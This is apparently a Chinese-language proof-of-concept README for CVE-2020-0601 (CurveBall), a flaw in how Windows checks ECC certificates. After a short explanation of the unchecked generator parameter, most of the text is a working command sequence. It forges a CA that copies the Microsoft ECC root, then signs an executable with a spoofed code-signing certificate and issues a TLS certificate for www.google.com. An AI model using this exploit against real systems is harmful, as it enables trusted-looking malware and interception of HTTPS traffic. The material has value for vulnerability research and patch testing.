CVE-2020-0601,通常称为 CurveBall,是一个漏洞,其中使用椭圆曲线密码学(ECC)的证书签名未被正确验证。
ECC 依赖于不同的参数。这些参数对于许多曲线都是标准化的。然而,微软并未检查所有这些参数。参数 G(生成元)未被检查,因此攻击者可以提供自己的生成元,这样当微软尝试验证证书是否来自可信 CA 时,它只会查找匹配的公钥,然后使用证书的生成元。NSA 在此处解释了此漏洞的影响及更多信息 here。
MicrosoftECCProductRootCertificateAuthority.cer 默认是 Windows 10 上使用 ECC 的可信根证书颁发机构(CA)。任何使用此证书签名的内容都将自动受信任。
最低要求
openssl 1.1.0
ruby 2.4.0
如果您对漏洞的数学细节感兴趣,请在此处阅读更多 here。
为了伪造证书,我们设置以下参数:
d' = 1
G' = Q
使得 Q = Q' = d'G'。
创建一个与可信 CA 具有相同公钥和参数的证书。这将用作我们的伪造 CA。将生成元设置为一个你知道私钥的值。你可以轻松地将生成元设置为公钥,并将私钥设置为 1,因为 Q = dG。
接下来,创建一个带有所需扩展(例如代码签名或服务器身份验证)的证书签名请求。
使用你的伪造 CA 和 CA 密钥签署此证书请求,并添加使用扩展。
将已签名的证书请求(现在是一个常规证书)与伪造 CA 捆绑在一起,你就拥有一个已签名且受信任的证书。
当 Windows 检查证书是否受信任时,它会看到该证书已由我们的伪造 CA 签名。然后它会查看伪造 CA 的公钥,与可信 CA 进行比对。接着,它简单地使用伪造 CA 的生成元来验证伪造 CA 的签名——这就是问题所在。
如果你在 Windows 中打开你新签名、受信任的证书,它不会认为它是受信任的,因为它未与任何内容绑定,因此不会使用伪造 CA。该证书必须始终与伪造 CA 一同呈现。
仅供教育和研究目的使用。
从 CA 中提取公钥并根据漏洞修改它:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
基于此密钥生成一个新的 x509 证书。这将是我们自己的伪造 CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
生成一个新密钥。此密钥可以是任何类型。它将用于创建一个代码签名证书,我们将使用我们自己的 CA 对其进行签名。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
接下来,创建一个新的证书签名请求(CSR)。此请求通常会发送给可信 CA,但由于我们有一个伪造的 CA,我们可以自己签名。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
使用我们的伪造 CA 和 CA 密钥签署你的新 CSR。此证书将于 2047 年过期,而真正的可信微软 CA 将于 2043 年过期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
剩下的唯一事情是将证书、其密钥和伪造 CA 打包成一个 PKCS12 文件,用于签署可执行文件。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
使用 PKCS12 文件签署你的可执行文件。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
仅供教育和研究目的使用。 从 CA 中提取公钥并根据漏洞修改它:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
基于此密钥生成一个新的 x509 证书。这将是我们自己的伪造 CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
生成一个新密钥。此密钥可以是任何类型。它将用于创建一个 SSL 证书,我们将使用我们自己的 CA 对其进行签名。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
接下来,创建一个新的证书签名请求(CSR)。此请求通常会发送给可信 CA,但由于我们有一个伪造的 CA,我们可以自己签名。
如果你想更改域名,请将 openssl_tls.conf 中的 CN = www.google.com 修改为 CN = www.example.com。
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
使用我们的伪造 CA 和 CA 密钥签署你的新 CSR。此证书将于 2047 年过期,而真正的可信微软 CA 将于 2043 年过期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
现在你可以使用 cert.crt、cert.key 和 spoofed_ca.crt 来提供内容。再次提醒,记得在服务器的 HTTPS 配置中将 spoofed_ca.crt 添加为证书链。
请参阅 tls/index.js 中的使用示例。